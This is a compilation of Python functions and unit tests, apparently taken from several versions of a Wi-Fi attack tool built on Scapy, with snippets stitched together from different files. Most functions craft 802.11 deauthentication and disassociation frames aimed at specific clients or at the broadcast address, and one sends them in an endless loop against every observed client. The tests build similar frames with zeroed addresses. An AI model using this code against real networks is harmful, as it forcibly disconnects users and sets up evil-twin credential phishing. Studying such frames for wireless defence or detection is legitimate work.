def _craft_client_deauth(self, client_bssid): """ Crafts two DEAUTH frames: 1 from the AP to the client and 1 from the client to the AP. :param self: A Deauthentication object. :param client_bssid: The MAC address of the selected acess point. :type self: Deauthentication :type packet: string :return: None :rtype: None """ packet = dot11.Dot11( type=0, subtype=12, addr1=self._ap_bssid, addr2=client_bssid, addr3=client_bssid) / \ dot11.Dot11Deauth() self._pkts.append(packet) packet = dot11.Dot11( type=0, subtype=12, addr1=client_bssid, addr2=self._ap_bssid, addr3=self._ap_bssid) / \ dot11.Dot11Deauth() self._pkts.append(packet)
def _craft_packet(sender, receiver, bssid): """ Return a list with disassociation packet followed by a deauthentication packet :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :param bssid: The MAC address of the AccessPoint :type sender: str :type receiver: str :type bssid: str :return: list :rtype: A list with disassociation followed by deauthentication packet """ # craft disassociation packet disassoc_part = dot11.Dot11( type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid) disassoc_packet = ( dot11.RadioTap() / disassoc_part / dot11.Dot11Disas()) # craft deauthentication packet deauth_part = dot11.Dot11( type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid) deauth_packet = (dot11.RadioTap() / deauth_part / dot11.Dot11Deauth()) return [disassoc_packet, deauth_packet]
def _craft_and_add_packet(self, sender, receiver): """ Craft a deauthentication and a disassociation packet and add them to the list of deauthentication packets :param self: A Deauthentication object :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :type self: Deauthentication :type sender: string :type receiver: string :return: None :rtype: None """ deauth_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1=receiver, addr2=sender, addr3=self._ap_bssid) \ / dot11.Dot11Deauth()) disassoc_packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=10, \ addr1=receiver, addr2=sender, addr3=self._ap_bssid) \ / dot11.Dot11Disas()) self._deauthentication_packets.append(disassoc_packet) self._deauthentication_packets.append(deauth_packet)
def _craft_packet(sender, receiver, bssid): """ Craft a deauthentication and a disassociation packet and add them to the list of deauthentication packets :param self: A Deauthentication object :param sender: The MAC address of the sender :param receiver: The MAC address of the receiver :param bssid: The MAC address of the AccessPoint :type self: Deauthentication :type sender: string :type receiver: string :type bssid: string :return: None :rtype: None """ deauth_packet = (dot11.RadioTap() / dot11.Dot11( type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid) / dot11.Dot11Deauth()) disassoc_packet = (dot11.RadioTap() / dot11.Dot11( type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid) / dot11.Dot11Disas()) return [disassoc_packet, deauth_packet]
def test_multiple_extensions(self): # We need a NM to init EM nm = interfaces.NetworkManager() # Init an EM and pass some shared data em = extensions.ExtensionManager(nm) em.set_extensions(constants.DEFAULT_EXTENSIONS) shared_data = {"one": 1, "two": 2, "is_freq_hop_allowed": True} em.init_extensions(shared_data) # A deauth packet appears in the air packet = ( dot11.RadioTap() / dot11.Dot11( type=0, subtype=12, addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") / dot11.Dot11Deauth()) em._process_packet(packet) # Packets to send have been merged from the two extensions # Validate with get_packet() assert em._packets_to_send["1"] == [1, 2, 3, 4] # Output has also been merged in one list. # Validate with send_output() assert em.get_output() == ["one", "two", "three", "four", "five"]
def send_deauthentication_packets(self): """ Send deauthentication packets using RadioTap header. :param self: A Deauthentication object. :type self: Deauthentication :return: None :rtype: None .. note: Information regarding IEEE 802.11 and for deauthentication which could be useful for maintenance purposes. Type could have values of 0 for managment, 1 for control, 2 for data. There are a lot of subtpyes but subtype 12 is for deauthentication packets. addr1, addr2, addr3 are destination address, sender address, sender transmited address respectivly. """ # continue to deauthenticate until otherwise set while self._should_continue: # added to reduce the stress on system and allow user to connect if self._observed_clients: for client in self._observed_clients: packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, addr1=client, addr2=self._ap_bssid, addr3=self._ap_bssid) / dot11.Dot11Deauth()) scapy.sendrecv.sendp(packet, count=1, verbose=False)
def _craft_broadcast_deauth(self): """ Crafts one DEAUTH frame to the broadcast address. :param self: A Deauthentication object. :type self: Deauthentication :return: None :rtype: None """ packet = dot11.Dot11( type=0, subtype=12, addr1=WIFI_BROADCAST, addr2=self._ap_bssid, addr3=self._ap_bssid) / \ dot11.Dot11Deauth() self._pkts.append(packet)
def test_multiple_extensions(self, send_func): # Init an EM and pass some shared data self.em = extensions.ExtensionManager() shared_data = {"one": 1, "two": 2} self.em.init_extensions(shared_data) self.em.start_extensions() # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \ / dot11.Dot11Deauth()) self.em._process_packet(packet) # Packets to send have been merged from the two extensions # Validate with get_packet() assert self.em._packets_to_send == [1, 2, 3, 4] # Output has also been merged in one list. # Validate with send_output() assert self.em.get_output() == ["one", "two", "three", "four", "five"]
def test_single_extension(self): # Init an EM and pass some shared data em = extensions.ExtensionManager() em.set_extensions(constants.DEFAULT_EXTENSIONS) shared_data = {"one": 1, "two": 2} em.init_extensions(shared_data) # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") / dot11.Dot11Deauth()) em._process_packet(packet) # The extension1.py sent packet "1" and returned output # "one", "two". Validate with get_packet(), send_output() assert em._packets_to_send["1"] == [1] assert em._packets_to_send["2"] == [] assert em.get_output() == ["one", "two"]
def test_single_extension(self, send_func): # Init an EM and pass some shared data self.em = extensions.ExtensionManager() shared_data = {"one": 1, "two": 2} self.em.init_extensions(shared_data) assert not send_func.called self.em.start_extensions() # A deauth packet appears in the air packet = (dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, \ addr1="00:00:00:00:00:00", addr2="00:00:00:00:00:00", addr3="00:00:00:00:00:00") \ / dot11.Dot11Deauth()) self.em._process_packet(packet) # After EM starts, the send daemon is triggered and # sends any packets from extensions assert send_func.called == 1 # The extension1.py sent packet "1" and returned output # "one", "two". Validate with get_packet(), send_output() assert self.em._packets_to_send == [1] assert self.em.get_output() == ["one", "two"]
def createDeauthPacket(self): """deauth paketi oluşturur""" dt11 = dot11.Dot11(addr1=self.ssid, addr2=self.bssid, addr3=self.bssid) deauthPacket = dot11.RadioTap() / dt11 / dot11.Dot11Deauth(reason=7) return deauthPacket